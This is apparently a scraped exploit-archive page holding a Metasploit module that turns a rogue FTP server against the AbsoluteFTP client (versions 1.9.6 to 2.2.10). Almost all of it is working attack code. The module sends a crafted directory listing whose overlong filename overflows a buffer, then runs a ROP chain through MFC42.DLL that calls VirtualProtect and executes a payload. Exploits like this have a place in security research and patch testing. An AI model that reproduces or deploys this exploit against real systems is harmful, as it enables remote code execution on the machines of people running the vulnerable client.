扫码分享
验证：
体验盒子|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 |
# Exploit Title: AbsoluteFTP 1.9.6 - 2.2.10 Remote Buffer Overflow (LIST) # Date: 2011-11-09 # Author: Node # Software Link: http://www.vandyke.com/pub/AbsoluteFTP/aftp2210.exe # Version: 1.9.6 - 2.2.10 # Tested on: Windows XP SP3, Windows 7 SP1 # CVE : - # Exploit has been tested to work on: # AbsoluteFTP 2.2.10 (build 252) # AbsoluteFTP 2.2.9 (build 248) # AbsoluteFTP 2.2.8 (build 241) # AbsoluteFTP 2.2.7 (build 238) # AbsoluteFTP 2.2.6 (build 230) # AbsoluteFTP 2.2.5 (build 225) # AbsoluteFTP 2.2.4 (build 216) # AbsoluteFTP 2.2.3 (build 210) # AbsoluteFTP 2.2.2 (build 203) # AbsoluteFTP 2.2 (build 197) # AbsoluteFTP 2.2 (build 291) # AbsoluteFTP 2.2B3 (build 163) # AbsoluteFTP 2.2B2 (build 158) # AbsoluteFTP 2.2B1 (build 144) # AbsoluteFTP 2.0.5 (build 297) # AbsoluteFTP 2.0.4 (build 293) # AbsoluteFTP 2.0.3 (build 289) # AbsoluteFTP 1.9.6 # Does not work on: # AbsoluteFTP 1.8 ## # $Id: $ # Skeleton generated by mona.py - Corelan Team ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::FtpServer def initialize(info = {}) super(update_info(info, 'Name' => 'AbsoluteFTP 1.9.6 - 2.2.10 Remote Buffer Overflow (LIST)', 'Description' => %q{ This module exploits VanDyke Software AbsoluteFTP by overflowing a filename buffer related to the LIST command. }, 'License' => MSF_LICENSE, 'Author' => [ 'Node', # Original discovery, MSF module, ROP code ], 'Version' => '$Revision:$', 'References' => [ [ 'OSVDB', '---' ], [ 'CVE', '---' ], [ 'URL', '---' ] ], 'DefaultOptions' => { 'EXITFUNC' => 'process', }, 'Platform' => 'win', 'Payload'=> { 'BadChars'=> "\x00\x0d\x5c\x2f\x0a", }, 'Targets' => [ [ 'WinXP SP2 - Windows 7 SP1 / AbsoluteFTP 1.9.6 - 2.2.10.252', { 'Ret' => 0x5f479005, 'Offset' => 3336 } ], ], 'Privileged' => false, 'DisclosureDate' => 'MONTH DAY YEAR', 'DefaultTarget' => 0)) end #copypasted from ScriptFTP exploit def on_client_unknown_command(c,cmd,arg) c.put("200 OK\r\n") end def on_client_command_list(c,arg) conn = establish_data_connection(c) if(not conn) c.put("425 Can't build data connection\r\n") return end print_status(" - Data connection set up") code = 150 c.put("#{code} Here comes the directory listing.\r\n") code = 226 c.put("#{code} Directory send ok.\r\n") rop_gadgets = [ 0x5f46a206, # POP EAX # RETN (MFC42.DLL) 0x5f49b260, # <- *&VirtualProtect() 0x5f413fa0, # MOV EAX,DWORD PTR DS:[EAX] # RETN 04** [MFC42.DLL] 0x5f418d93, # PUSH EAX # ADD AL,5F # POP ESI # POP EBX # RETN** [MFC42.DLL] 0x90909090, # NOPS (RETN 4) 0x90909090, # NOPS (-> ebx) 0x5f432001, # POP EBP # RETN (MFC42.DLL) 0x5F4774D5, # ptr to 'jmp esp' (from MFC42.DLL) 0x5f46a206, # POP EAX # RETN (MFC42.DLL) 0xfffffdff, # value to negate, target value : 0x00000201, target reg : ebx #<--ADJUST ME FOR BIGGER PAYLOAD 0x5f46f6dd, # NEG EAX # RETN (MFC42.DLL) 0x5f47909a, # XCHG EAX,EBX # DEC EDX # POP EDI # RETN (MFC42.DLL) 0x90909090, # NOPS (-> edi) 0x5f498456, # POP ECX # RETN (MFC42.DLL) 0x5F4D1115, # RW pointer (lpOldProtect) (-> ecx) !!! 0x5f46a206, # POP EAX # RETN (MFC42.DLL) 0xffffffc0, # value to negate, target value : 0x00000040, target reg : edx 0x5f46f6dd, # NEG EAX # RETN (MFC42.DLL) 0x5f4892df, # XCHG EAX,EDX # DEC EAX # POP EDI # RETN (MFC42.DLL) 0x5f479005, # ROP NOP (-> edi) 0x5f46a206, # POP EAX # RETN (MFC42.DLL) 0x90909090, # NOPS (-> eax) 0x5f4755b8, # PUSHAD # RETN (MFC42.DLL) ].pack("V*") buffer = [0x5f479005].pack("V*")*848 #ROP NOP's buffer << rop_gadgets buffer << "\x90"*30 buffer << payload.encoded #copypasted from ScriptFTP exploit print_status(" - Sending directory list via data connection") dirlist ="-rwxr-xr-x 5 ftpuserftpusers 512 Jul 262001 #{buffer}.txt\r\n" dirlist << " 5 ftpuserftpusers 512 Jul 262001 A\r\n" dirlist << "rwxr-xr-x 5 ftpuserftpusers 512 Jul 262001 #{buffer}.txt\r\n" conn.put(dirlist) conn.close return end end |
体验盒子
